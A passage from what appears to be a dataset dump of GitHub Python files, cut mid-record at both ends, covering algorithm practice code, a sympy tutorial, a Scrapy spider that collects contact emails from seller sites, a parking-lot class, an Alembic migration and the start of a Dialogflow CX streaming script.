numberTwo:\r\n arrTwoIdx += 1\r\n elif numberTwo > numberOne:\r\n arrOneIdx += 1\r\n else:\r\n return [numberOne, numberTwo]\r\n\r\n if abs(numberOne - numberTwo) < smallestGlobal:\r\n smallestGlobal = abs(numberOne - numberTwo)\r\n smallest = [numberOne, numberTwo]\r\n return smallest\r\n\r\n\r\n# O(n) Time | O(1) Space\r\ndef moveElementsToEnd(array, toMove):\r\n start = 0\r\n end = len(array) - 1\r\n while start < end:\r\n if array[start] == toMove and array[end] != toMove:\r\n swap(array, start, end)\r\n\r\n elif array[start] != toMove:\r\n start += 1\r\n elif array[end] == toMove:\r\n end -= 1\r\n\r\n\r\ndef swap(arr, i, j):\r\n arr[i], arr[j] = arr[j], arr[i]\r\n\r\n\r\ndef isMonotnicArray(array):\r\n increasing = True\r\n for i in range(1, len(array)):\r\n if array[i] < array[i - 1]:\r\n increasing = False\r\n\r\n decreasing = True\r\n for i in range(1, len(array)):\r\n if array[i] > array[i - 1]:\r\n decreasing = False\r\n return increasing or decreasing\r\n\r\n\r\nclass BST:\r\n def __init__(self, value) -> None:\r\n self.value = value\r\n self.left = None\r\n self.right = None\r\n\r\n def insert(self, value):\r\n node = self\r\n while True:\r\n if value < node.value:\r\n if node.left is None:\r\n node.left = BST(value)\r\n break\r\n else:\r\n node = node.left\r\n else:\r\n if node.right is None:\r\n node.right = BST(value)\r\n break\r\n else:\r\n node = node.right\r\n return self\r\n\r\n def printBst(self):\r\n node = self\r\n if node.left is not None:\r\n node.left.printBst()\r\n\r\n print(node.value, end=\"\\t\")\r\n\r\n if node.right is not None:\r\n node.right.printBst()\r\n\r\n def contains(self, value):\r\n node = self\r\n while node is not None:\r\n if value < node.value:\r\n node = node.left\r\n elif value > node.value:\r\n node = node.right\r\n else:\r\n return True\r\n return False\r\n\r\n def remove(self, value, parent=None):\r\n node = self\r\n while node is not None:\r\n if value < node.value:\r\n parent = node\r\n node = node.left\r\n elif value > node.value:\r\n parent = node\r\n node = node.right\r\n else:\r\n if node.left is not None and node.right is not None:\r\n node.value = node.right.getMinValue()\r\n node.right.remove(node.value, node)\r\n elif parent is None:\r\n if node.left is not None:\r\n node.value = node.left.value\r\n node.right = node.left.right\r\n node.left = node.left.left\r\n elif node.right is not None:\r\n node.value = node.right.value\r\n node.left = node.right.left\r\n node.right = node.right.right\r\n else:\r\n return None\r\n elif parent.left == node:\r\n parent.left = node.left if node.left is not None else node.right\r\n elif parent.right == node:\r\n parent.right = node.left if node.left is not None else node.right\r\n break\r\n return self\r\n\r\n def getMinValue(self):\r\n node = self\r\n while node.left is not None:\r\n node = node.left\r\n return node.value\r\n\r\n\r\ndef validateBST(tree):\r\n return isBstValid(tree, float(\"-inf\"), float(\"inf\"))\r\n\r\n\r\ndef isBstValid(tree, minValue, maxValue):\r\n if tree is None:\r\n return True\r\n\r\n if tree.value > maxValue or tree.value < minValue:\r\n return False\r\n return isBstValid(tree.left, minValue, tree.value) and isBstValid(tree.right, tree.value, maxValue)\r\n\r\n\r\ndef minHeightBst(array, startIdx, endIdx):\r\n if startIdx > endIdx:\r\n return None\r\n mid = (startIdx + endIdx) // 2\r\n bst = BST(array[mid])\r\n bst.left = minHeightBst(array, startIdx, mid - 1)\r\n bst.right = minHeightBst(array, mid + 1, endIdx)\r\n\r\n return bst\r\n\r\n\r\ndef invertBinaryTree(tree):\r\n que = [tree]\r\n while len(que):\r\n node = que.pop()\r\n if node is None:\r\n continue\r\n node.left, node.right = node.right, node.left\r\n que.extend([node.left, node.right])\r\n\r\n\r\ndef invertBstRecursive(tree):\r\n if tree is None:\r\n return\r\n invertBstRecursive(tree.left)\r\n invertBstRecursive(tree.right)\r\n tree.left, tree.right = tree.right, tree.left\r\n\r\n\r\ndef maxSubsetSumNoAdjacent(array):\r\n if len(array) < 1:\r\n return 0\r\n if len(array) == 2:\r\n return max(array[0], array[1])\r\n\r\n first = array[0]\r\n second = max(array[0], array[1])\r\n\r\n for i in range(2, len(array)):\r\n curr = array[i]\r\n curr = max((curr + first), second)\r\n first = second\r\n second = curr\r\n\r\n\r\ndef kadane(array):\r\n maxCurr = maxGlobal = float(\"-inf\")\r\n for num in array:\r\n maxCurr = max(num, num + maxCurr)\r\n maxGlobal = max(maxCurr, maxGlobal)\r\n return maxGlobal\r\n\r\n\r\ndef levenshteinDistance(str1, str2):\r\n edits = [[i for i in range(len(str2) + 1)] for __ in range(len(str1) + 1)]\r\n for i in range(1, len(edits)):\r\n edits[i][0] = edits[i - 1][0] + 1\r\n\r\n for row in range(1, len(edits)):\r\n for col in range(1, len(edits[0])):\r\n if str1[row - 1] == str2[col - 1]:\r\n edits[row][col] = edits[row - 1][col - 1]\r\n else:\r\n edits[row][col] = 1 + min(edits[row - 1][col - 1],\r\n edits[row - 1][col], edits[row][col - 1])\r\n\r\n return edits[-1][-1]\r\n\r\n\r\nclass Graph:\r\n def __init__(self, name):\r\n self.children = []\r\n self.name = name\r\n\r\n def addChild(self, name):\r\n self.children.append(Graph(name))\r\n return self\r\n\r\n def breadthFirstSearch(self, array):\r\n que = deque()\r\n que.append(self)\r\n while que:\r\n curr = que.popleft()\r\n array.append(curr.name)\r\n for child in curr.children:\r\n que.append(child)\r\n return array\r\n\r\n\r\ndef removeKthNodeFromEnd(head, k):\r\n slowPtr = fastPtr = head\r\n\r\n while k > 0:\r\n if fastPtr is not None:\r\n fastPtr = fastPtr.next\r\n k -= 1\r\n\r\n if fastPtr is None:\r\n head = head.next\r\n return\r\n\r\n while fastPtr is not None:\r\n slowPtr = slowPtr.next\r\n fastPtr = fastPtr.next\r\n\r\n slowPtr.next = slowPtr.next.next\r\n\r\n return head\r\n\r\n\r\ndef searchInSortedMatrix(matrix, target):\r\n row, col = 0, len(matrix[0]) - 1\r\n\r\n while row < len(matrix) and col > -1:\r\n if matrix[row][col] == target:\r\n return [row, col]\r\n elif target > matrix[row][col]:\r\n row += 1\r\n elif target < matrix[row][col]:\r\n col -= 1\r\n return [-1, -1]\r\n\r\n\r\ndef riverSizes(matrix):\r\n sizes = []\r\n visited = [[False for col in row] for row in matrix]\r\n\r\n for row in range(len(matrix)):\r\n for col in range(len(matrix[0])):\r\n if visited[row][col]:\r\n continue\r\n traverseNode([row, col], matrix, visited, sizes)\r\n return sizes\r\n\r\n\r\ndef traverseNode(currNode, matrix, visited, sizes):\r\n size = 0\r\n node = [currNode]\r\n while len(node):\r\n curr = node.pop()\r\n row, col = curr[0], curr[1]\r\n if visited[row][col]:\r\n continue\r\n visited[row][col] = True\r\n if matrix[row][col] == 0:\r\n continue\r\n size += 1\r\n neighbors = getNeighbors(row, col, matrix, visited)\r\n for neighbor in neighbors:\r\n node.append(neighbor)\r\n if size > 0:\r\n sizes.append(size)\r\n\r\n\r\ndef getNeighbors(i, j, matrix, visited):\r\n neighborsX = []\r\n if i > 0 and not visited[i-1][j]:\r\n neighborsX.append([i-1, j])\r\n if i < len(matrix)-1 and not visited[i+1][j]:\r\n neighborsX.append([i+1, j])\r\n if j > 0 and not visited[i][j-1]:\r\n neighborsX.append([i, j-1])\r\n if j < len(matrix[0])-1 and not visited[i][j+1]:\r\n neighborsX.append([i, j+1])\r\n return neighborsX\r\n\r\n\r\nclass MinHeap:\r\n def __init__(self, array) -> None:\r\n self.heap = self.buildHeap(array)\r\n\r\n # O(n) Time | O(1) Space\r\n def buildHeap(self, array):\r\n parentIdx = (len(array) - 2) // 2\r\n for currentIdx in reversed(range(parentIdx + 1)):\r\n self.siftDown(array, currentIdx, len(array) - 1)\r\n return array\r\n\r\n # O(logn) Time | O(1) Space\r\n def siftDown(self, array, currentIdx, endIdx):\r\n childOneIdx = (2 * currentIdx) + 1\r\n while childOneIdx <= endIdx:\r\n childTwoIdx = (2 * currentIdx) + 1 if (2 *\r\n currentIdx) + 1 <= endIdx else -1\r\n if childTwoIdx != -1 and array[childTwoIdx] < array[childOneIdx]:\r\n smallerIdx = childTwoIdx\r\n else:\r\n smallerIdx = childOneIdx\r\n\r\n if array[smallerIdx] < array[currentIdx]:\r\n self.swap(array, smallerIdx, currentIdx)\r\n currentIdx = smallerIdx\r\n childOneIdx = (2 * currentIdx) + 1\r\n else:\r\n return\r\n\r\n # O(logn) Time | O(1) Space\r\n def siftUp(self, array, currentIdx):\r\n firstParentIdx = (currentIdx - 1) // 2\r\n while currentIdx > 0 and array[firstParentIdx] > array[currentIdx]:\r\n self.swap(array, firstParentIdx, currentIdx)\r\n currentIdx = firstParentIdx\r\n firstParentIdx = (currentIdx - 1) // 2\r\n\r\n # O(logn) Time | O(1) Space\r\n def insert(self, value):\r\n '''\r\n Append the value and then sift it up\r\n '''\r\n self.heap.append(value)\r\n self.siftUp(self.heap, len(self.heap) - 1)\r\n\r\n # O(logn) Time | O(1) Space\r\n def remove(self):\r\n '''\r\n swap the first and the last values in the array\r\n and then pop the last element. Then sift down the\r\n first value down to correct position\r\n '''\r\n self.swap(self.heap, 0, len(self.heap) - 1)\r\n toRemove = self.heap.pop()\r\n self.siftDown(self.heap, 0, len(self.heap) - 1)\r\n return toRemove\r\n\r\n # O(1) Time | O(1) Space\r\n def peek(self):\r\n return self.heap[0]\r\n\r\n # O(1) Time | O(1) Space\r\n def swap(self, arr, i, j):\r\n arr[i], arr[j] = arr[j], arr[i]\r\n\r\n\r\n# O(N^2 . N!) Time | O(N . N!) Space\r\ndef getPermutations(array):\r\n perms = []\r\n getPerms(array, [], perms)\r\n return perms\r\n\r\n\r\ndef getPerms(array, perm, perms):\r\n if not len(array) and len(perm):\r\n perms.append(perm)\r\n else:\r\n for i in range(len(array)):\r\n newArr = array[: i] + array[i+1:]\r\n newPerm = perm + [array[i]]\r\n getPerms(newArr, newPerm, perms)\r\n\r\n\r\ndef getPermsEfficient(i, array, perms):\r\n if i == len(array) - 1:\r\n perms.append(array)\r\n else:\r\n for j in range(i, len(array)):\r\n swap(array, i, j)\r\n getPermsEfficient(i + 1, array, perms)\r\n swap(array, i, j)\r\n\r\n\r\ndef groupAnagrams(words):\r\n allWords = {}\r\n for word in words:\r\n sortedWord = \"\".join(sorted(word))\r\n if sortedWord in allWords:\r\n allWords[sortedWord].append(word)\r\n else:\r\n allWords[sortedWord] = [word]\r\n return allWords.values()\r\n\r\n\r\nclass TestProgram(unittest.TestCase):\r\n def test_case_1(self):\r\n words = [\"yo\", \"act\", \"flop\", \"tac\", \"foo\", \"cat\", \"oy\", \"olfp\"]\r\n expected = [[\"yo\", \"oy\"], [\"flop\", \"olfp\"],\r\n [\"act\", \"tac\", \"cat\"], [\"foo\"]]\r\n output = list(map(lambda x: sorted(x), groupAnagrams(words)))\r\n\r\n self.compare(expected, output)\r\n\r\n def compare(self, expected, output):\r\n if len(expected) == 0:\r\n self.assertEqual(output, expected)\r\n return\r\n self.assertEqual(len(expected), len(output))\r\n for group in expected:\r\n self.assertTrue(sorted(group) in output)\r\n\r\n\r\nclass SuffixTrie:\r\n def __init__(self, string) -> None:\r\n self.root = {}\r\n self.endElement = \"*\"\r\n self.populateSuffixTrie(string)\r\n\r\n def populateSuffixTrie(self, string):\r\n for i in range(len(string)):\r\n self.buildSuffixTrie(i, string)\r\n\r\n def buildSuffixTrie(self, idx, string):\r\n node = self.root\r\n for i in range(idx, len(string)):\r\n letter = string[i]\r\n if letter not in node:\r\n node[letter] = {}\r\n node = node[letter]\r\n node[self.endElement] = True\r\n\r\n def contains(self, string):\r\n node = self.root\r\n for i in range(len(string)):\r\n letter = string[i]\r\n if letter not in node:\r\n return False\r\n else:\r\n node = node[letter]\r\n return self.endElement in node\r\n\r\n# O(n^2) Time | O(n^2) Space Average\r\n# O(n^3) Time | O(n^3) Space\r\n\r\n\r\ndef fourSum(array, target):\r\n allNums = {}\r\n result = []\r\n for idx in range(1, len(array) - 1):\r\n for i in range(idx + 1, len(array)):\r\n currSum = array[idx] + array[i]\r\n required = target - currSum\r\n if required in allNums:\r\n for each in allNums[required]:\r\n result.append(each + [array[idx], array[i]])\r\n\r\n for j in range(0, idx):\r\n currSum = array[j] + array[idx]\r\n if currSum not in allNums:\r\n allNums[currSum] = [[array[j], array[idx]]]\r\n else:\r\n allNums[currSum].append([array[j], array[idx]])\r\n\r\n return result\r\n\r\n\r\n# O(n) Time | O(1) Space\r\ndef subarraySrt(array):\r\n \r\n minIdxOutOfPlace = float('inf')\r\n maxIdxOutOfPlace = float(\"-inf\")\r\n result = [-1, -1]\r\n if len(array) < 2:\r\n return result\r\n\r\n for idx, num in enumerate(array):\r\n if isOutOfOrder(idx, array):\r\n minIdxOutOfPlace = min(minIdxOutOfPlace, num)\r\n maxIdxOutOfPlace = max(maxIdxOutOfPlace, num)\r\n\r\n if minIdxOutOfPlace == float(\"inf\"):\r\n return result\r\n\r\n\r\n startIdx = 0\r\n while startIdx < len(array) and minIdxOutOfPlace > array[startIdx]:\r\n startIdx += 1\r\n result[0] = startIdx\r\n\r\n endIdx = len(array) - 1\r\n while endIdx > 0 and maxIdxOutOfPlace < array[endIdx]:\r\n endIdx -= 1\r\n result[1] = endIdx \r\n\r\n return result\r\n\r\n\r\ndef isOutOfOrder(i, array):\r\n if i == 0:\r\n return array[i] > array[i + 1]\r\n \r\n if i == len(array) - 1:\r\n return array[i] < array[i - 1]\r\n \r\n return not array[i - 1] <= array[i] <= array[i + 1]\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import numpy as np\r\n\r\n # arr = [12, 3, 1, 2, -6, 5, -8, 6]\r\n # targetSum = 0\r\n # print(threeSum(arr, targetSum))\r\n\r\n # Doubly Linked List\r\n # ll = DoublyLinkedList()\r\n # ll.setHead(Node(1))\r\n # node = Node(3)\r\n # ll.insertAfter(ll.head, node)\r\n # ll.insertBefore(ll.tail, Node(2))\r\n\r\n # ll.insertAtPosition(4, Node(4))\r\n # ll.setHead(Node(-100))\r\n # ll.setTail(Node(100))\r\n\r\n # ll.removeNodeWithValue(4)\r\n # ll.remove(node)\r\n\r\n # ll.tail = ll.head\r\n\r\n # ll.printList()\r\n\r\n # sArray = [[1, 2, 3, 4],\r\n # [12, 13, 14, 5],\r\n # [11, 16, 15, 6],\r\n # [10, 9, 8, 7]]\r\n\r\n # print(spiralTraverse(sArray))\r\n # array = [1, 2, 3, 3, 4, 0, 10, 6, 5, -1, -3, 2, 3]\r\n # print(f'The lonest Peak for {array} is : {longestPeak(array)}')\r\n\r\n # arr1 = [-1, 5, 10, 20, 28, 3]\r\n # arr2 = [26, 134, 135, 15, 17]\r\n # print(f'The smallest pair is: {smallestDifference(arr1, arr2)}')\r\n\r\n # array = [2, 1, 2, 2, 2, 3, 4, 2]\r\n # moveElementsToEnd(array, 2)\r\n # print(array)\r\n\r\n # print(isMonotnicArray([4,3, 2, 0]))\r\n\r\n # myBst = BST(50)\r\n # myBst.insert(25)\r\n # myBst.insert(10)\r\n # myBst.insert(30)\r\n\r\n # myBst.insert(75)\r\n # myBst.insert(60)\r\n # myBst.insert(80)\r\n\r\n # print(myBst.contains(10))\r\n # myBst.remove(10)\r\n # myBst.remove(25)\r\n\r\n # myBst.printBst()\r\n\r\n # print(validateBST(myBst))\r\n\r\n # from binarytree import bst\r\n # myBst = bst(2, is_perfect=True)\r\n\r\n # print(myBst)\r\n # invertBinaryTree(myBst)\r\n # print(myBst)\r\n\r\n # print(myBst)\r\n # invertBstRecursive(myBst)\r\n # print(myBst)\r\n\r\n # print(kadane([3, 5, -9, 1, 3, -2, 3, 4, 7, 2, -9, 6, 3, 1, -5, 4]))\r\n # print(levenshteinDistance(\"abc\", \"yabd\"))\r\n\r\n # graph = Graph(\"A\")\r\n # graph.addChild(\"B\")\r\n # graph.addChild(\"C\")\r\n # graph.addChild(\"D\")\r\n\r\n # myArr = []\r\n # graph.breadthFirstSearch(myArr)\r\n # print(myArr)\r\n\r\n # matrix = [\r\n # [1, 4, 7, 12, 15, 1000],\r\n # [2, 5, 19, 31, 32, 1001],\r\n # [3, 8, 24, 33, 35, 1002],\r\n # [40, 41, 42, 44, 45, 1003],\r\n # [99, 100, 103, 106, 128, 1004]\r\n # ]\r\n\r\n # print(searchInSortedMatrix(matrix, 44))\r\n # mat = [\r\n # [1, 0, 0, 1, 0],\r\n # [1, 0, 1, 0, 0],\r\n # [0, 0, 1, 0, 1],\r\n # [1, 0, 1, 0, 1],\r\n # [1, 0, 1, 1, 0]\r\n # ]\r\n # print(riverSizes(mat))\r\n\r\n # print(getPermutations([1, 2, 3]))\r\n\r\n # wordsArray = [\"yo\", \"act\", \"flop\", \"tac\", \"foo\", \"cat\", \"oy\", \"olfp\"]\r\n # print(groupAnagrams(wordsArray))\r\n\r\n # nums = [7, 6, 4, -1, 1, 2]\r\n # print(fourSum(nums, 16))\r\n\r\n # array = [1, 2, 4, 7, 10, 11, 7, 12, 6, 7, 16, 18, 19]\r\n # print(subarraySrt(array))","repo_name":"arsaikia/Data_Structures_and_Algorithms","sub_path":"Data Structures and Algorithms/Python/Revision/Revision_Medium_2.py","file_name":"Revision_Medium_2.py","file_ext":"py","file_size_in_byte":23713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28614118338","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 10 13:39:11 2020\n\n@author: fatih cihan\n\"\"\"\n\nfrom sympy import Symbol\nfrom sympy import factor,expand\nfrom sympy import pprint\n\nx = Symbol('x')\ny = Symbol('y')\n\n#\n\ny = 1\ny = y + 1\nprint(y)\n\nx = Symbol('x')\nx = x + 1\nprint(x)\n\n#\nx=Symbol('x')\ny=Symbol('y')\n\np=x *(x + x) \nprint(p)\n\n#\n\nx = Symbol('x')\ny = Symbol('y')\n\np = (x + 2)*(x + 3)\nprint(p) #--> (x + 2)*(x + 3)\n\n#\n\nexpr = x**2 - y**2\nfactors = factor(expr)#icine girilen ifadeyi carpanlarina ayirir\n\nexpands = expand(factors)#carpanlarina ayrilan ifadenin acilimini yazar\n\nprint(expands)\nprint(factors,\"->\",expands) #detayli yazilmis hali\n\n#\n\nexpr = x**3 + 3*x**2*y + 3*x*y**2 + y**3\nprint(expr)\nfactors = factor(expr)\nprint(factors) \n\n \npprint(factors) \n\n#\n\nseries = x\nn=5\nfor i in range(2,n+1):\n series = series + (x**i)/i\n\nprint(series) #5.dereceden bilinmeyen denklemi yazdirir\n\npprint(series) \n \n#\n\nexpr = x*x + x*y + x*y + y*y\nres = expr.subs({x:1,y:2})\nprint(res) #9\nres2 = expr.subs({x:1-y}) #x'i yok et.\nprint(res2) #x olmayan denklem\n\n#\n\nseries = x\nn = 5\nx_value = 5\nfor i in range(2,n+1):\n series = series + (x**i)/i\npprint(series)\nseries_value = series.subs({x:x_value})\nprint(series_value) # 10085/12","repo_name":"fatihcihant/programmingLab","sub_path":"online2_1.py","file_name":"online2_1.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14276630758","text":"import json\nimport codecs\nimport scrapy\n\nbase = json.load(codecs.open(\"C:\\ProgramData\\Anaconda3\\envs\\parsing_data_feed\\parsing_data_feed\\spiders\\/base_sellers.json\", 'r', 'utf-8-sig'))\nemail = [\"https://\" + base[i][\"url\"] for i in range(3600, 3885)] # Менял периодичность из-за лага Scrapy - парсил 400 ссылок и ломался\n\nclass MailfinderSpider(scrapy.Spider):\n name = 'mailfinder'\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',\n }\n\n\n start_urls = email\n index = 3599 # Тут необходимо менять индекс, чтобы он корректно записывался. Он должен быть меньше на 1 ед. от нижней границы range\n\n def parse(self, response):\n res = response.css(\"a[href^=mailto]::attr(href)\").get() if response.css(\"a[href^=mailto]\").get() else None\n self.index += 1\n if res:\n yield {\n \"index\": self.index,\n \"name\": base[self.index][\"name\"],\n \"email\": res.replace(\"mailto:\", \"\"),\n \"url\": base[self.index][\"url\"]\n }","repo_name":"meisoff/datafeed","sub_path":"db_mail/mailfinder.py","file_name":"mailfinder.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30528741976","text":"from .vehicle import VehicleSize\nfrom .spot import ParkingSpot\n\nclass Level:\n def __init__(self, floor_no, floor_lable, no_of_spots, first_spot_no):\n self.floor_no = floor_no\n self.name = floor_lable\n self.no_of_spots = no_of_spots\n self.available_spots = no_of_spots\n self.spot_starting_at = first_spot_no\n self.spots = []\n\n self.__build_level()\n\n\n def __build_level(self):\n start = self.spot_starting_at\n end = start + self.no_of_spots\n for spot_no in range(start, end):\n self.spots.append(ParkingSpot(self, spot_no, VehicleSize.Single))\n\n\n def plot_me(self):\n print(f\"\\nspots at {self.name}\")\n for spot in self.spots:\n print(f\"\\033[96m {spot}\\033[00m\")\n\n\n def spot_freed(self):\n self.available_spots += 1\n\n\n def get_available_spots(self):\n return self.available_spots\n\n\n def park_vehicle(self, vehicle):\n if self.get_available_spots() <= 0:\n return False\n\n spot_num = self.find_available_spots(vehicle)\n\n return False if spot_num < 0 else self.park_starting_at_spot(spot_num, vehicle)\n\n\n def find_available_spots(self, vehicle):\n \"\"\"\n Strategy for finding the vacant spot for a new vehicle parking\n checks squentially from starting spot position to end positon\n if finds first spot where no vehicle is parked, returns that spot\n if all the spots are filled in this level, returns -1\n \"\"\"\n for spot_no in range(len(self.spots)):\n spot = self.spots[spot_no]\n if spot.can_fit_vehicle(vehicle):\n return spot_no\n\n return -1\n\n\n def park_starting_at_spot(self, spot_num, vehicle):\n success = self.spots[spot_num].park(vehicle)\n if success:\n self.available_spots -= vehicle.get_spots_needed()\n return success\n","repo_name":"deepanshuyadav875/LeegalityAssignment","sub_path":"ParkingLot/model/level.py","file_name":"level.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15072136607","text":"\"\"\"initial postgresql commit\n\nRevision ID: ba543de75703\nRevises: \nCreate Date: 2021-07-04 00:13:10.157870\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ba543de75703'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('admin_users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('email', sa.String(length=48), nullable=False),\n sa.Column('first_name', sa.String(length=32), nullable=True),\n sa.Column('last_name', sa.String(length=32), nullable=True),\n sa.Column('password', sa.String(length=128), nullable=False),\n sa.Column('last_logon', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email')\n )\n op.create_table('categories',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('archive', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('notifications',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('message', sa.String(length=4096), nullable=False),\n sa.Column('was_sent', sa.Boolean(), nullable=True),\n sa.Column('sent_date', sa.DateTime(), nullable=True),\n sa.Column('sent_by', sa.String(length=48), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('registers',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('email', sa.String(length=48), nullable=False),\n sa.Column('token', sa.String(length=128), nullable=False),\n sa.Column('token_expiration_date', sa.DateTime(), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email')\n )\n op.create_table('statistics',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('telegram_id', sa.Integer(), nullable=True),\n sa.Column('command', sa.String(length=100), nullable=True),\n sa.Column('added_date', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('users',\n sa.Column('telegram_id', sa.Integer(), nullable=False),\n sa.Column('username', sa.String(length=32), nullable=True),\n sa.Column('email', sa.String(length=48), nullable=True),\n sa.Column('external_id', sa.Integer(), nullable=True),\n sa.Column('first_name', sa.String(length=32), nullable=True),\n sa.Column('last_name', sa.String(length=32), nullable=True),\n sa.Column('has_mailing', sa.Boolean(), nullable=True),\n sa.Column('date_registration', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('telegram_id'),\n sa.UniqueConstraint('email'),\n sa.UniqueConstraint('external_id'),\n sa.UniqueConstraint('username')\n )\n op.create_table('tasks',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(), nullable=True),\n sa.Column('name_organization', sa.String(), nullable=True),\n sa.Column('deadline', sa.Date(), nullable=True),\n sa.Column('category_id', sa.Integer(), nullable=True),\n sa.Column('bonus', sa.Integer(), nullable=True),\n sa.Column('location', sa.String(), nullable=True),\n sa.Column('link', sa.String(), nullable=True),\n sa.Column('description', sa.String(), nullable=True),\n sa.Column('archive', sa.Boolean(), nullable=True),\n sa.ForeignKeyConstraint(['category_id'], ['categories.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('users_categories',\n sa.Column('telegram_id', sa.Integer(), nullable=False),\n sa.Column('category_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['category_id'], ['categories.id'], ),\n sa.ForeignKeyConstraint(['telegram_id'], ['users.telegram_id'], ),\n sa.PrimaryKeyConstraint('telegram_id', 'category_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('users_categories')\n op.drop_table('tasks')\n op.drop_table('users')\n op.drop_table('statistics')\n op.drop_table('registers')\n op.drop_table('notifications')\n op.drop_table('categories')\n op.drop_table('admin_users')\n # ### end Alembic commands ###\n","repo_name":"ramazakk/ProCharrity_bot","sub_path":"migrations/versions/ba543de75703_initial_postgresql_commit.py","file_name":"ba543de75703_initial_postgresql_commit.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"14539696772","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/2/14 8:42\n# @Author : wuhuhuan\n# @Email :472406662@touker.com\n# @File : text.py\n# @Software: PyCharm\nfrom jpype import *\nimport os.path\nclass Text:\n def getCourseText(self):\n jarpath=os.path.join(os.path.abspath('.'),'D:/')\n startJVM(\"D:/Program Files (x86)/Java/jdk1.7.0_79/jre/bin/client/jvm.dll\",\"-ea\",\"-Djava.class.path=%s\"%(jarpath+'TestDay.jar'))\n JDClass = JClass(\"com.wuhuhuan.JodaDateUtils\")\n jd = JDClass\n #jd = JPackage(\"com.wuhuhuan\").JodaDateUtils() #两种创建jd的方法\n jprint = java.lang.System.out.println\n param=jd.getText()\n jprint(jd.getText())\n # shutdownJVM()\n return param","repo_name":"wuhuhuan/pytest_sele_zenta","sub_path":"case2/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23852517251","text":"import config\n\nfrom email.mime import audio\nimport os\nimport argparse\nimport uuid\n\nfrom google.cloud.dialogflowcx_v3beta1.services.agents import AgentsClient\nfrom google.cloud.dialogflowcx_v3beta1.services.sessions import SessionsClient\nfrom google.cloud.dialogflowcx_v3beta1.types import audio_config\nfrom google.cloud.dialogflowcx_v3beta1.types import session\nfrom google.cloud.dialogflowcx_v3beta1.types.session import StreamingRecognitionResult\n\nfrom microphone import MicrophoneStream\nimport threading\nimport queue\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = config.GOOGLE_APPLICATION_CREDENTIALS\n\n\ndef detect_intent_stream(agent, session_id, language_code):\n \"\"\"Returns the result of detect intent with streaming audio as input.\n\n Using the same `session_id` between requests allows continuation\n of the conversation.\"\"\"\n session_path = f\"{agent}/sessions/{session_id}\"\n print(f\"Session path: {session_path}\\n\")\n client_options = None\n agent_components = AgentsClient.parse_agent_path(agent)\n location_id = agent_components[\"location\"]\n if location_id != \"global\":\n api_endpoint = f\"{location_id}-dialogflow.googleapis.com:443\"\n print(f\"API Endpoint: {api_endpoint}\\n\")\n client_options = {\"api_endpoint\": api_endpoint}\n session_client = SessionsClient(client_options=client_options)\n\n input_audio_config = audio_config.InputAudioConfig(\n audio_encoding=audio_config.AudioEncoding.AUDIO_ENCODING_LINEAR_16,\n sample_rate_hertz=24000,\n single_utterance=True\n )\n\n audio_queue = queue.Queue()\n microphone_stream = MicrophoneStream(audio_queue)\n mic_thread = threading.Thread(target=microphone_stream.start)\n mic_thread.start()\n\n def request_generator():\n audio_input = session.AudioInput(config=input_audio_config)\n query_input = session.QueryInput(\n audio=audio_input, language_code=language_code)\n voice_selection = audio_config.VoiceSelectionParams()\n synthesize_speech_config = audio_config.SynthesizeSpeechConfig()\n output_audio_config = audio_config.OutputAudioConfig()\n\n # Sets the voice name and gender\n voice_selection.name = \"en-GB-Standard-A\"\n voice_selection.ssml_gender = (\n audio_config.SsmlVoiceGender.SSML_VOICE_GENDER_FEMALE\n )\n\n synthesize_speech_config.voice = voice_selection\n\n # Sets the audio encoding\n output_audio_config.audio_encoding = (\n audio_config.OutputAudioEncoding.OUTPUT_AUDIO_ENCODING_UNSPECIFIED\n )\n output_audio_config.synthesize_speech_config = synthesize_speech_config\n\n # The first request contains the configuration.\n yield session.StreamingDetectIntentRequest(\n session=session_path,\n query_input=query_input,\n output_audio_config=output_audio_config,\n )\n\n # Here we are reading small chunks of audio data from a local\n # audio file. In practice these chunks should come from\n # an audio 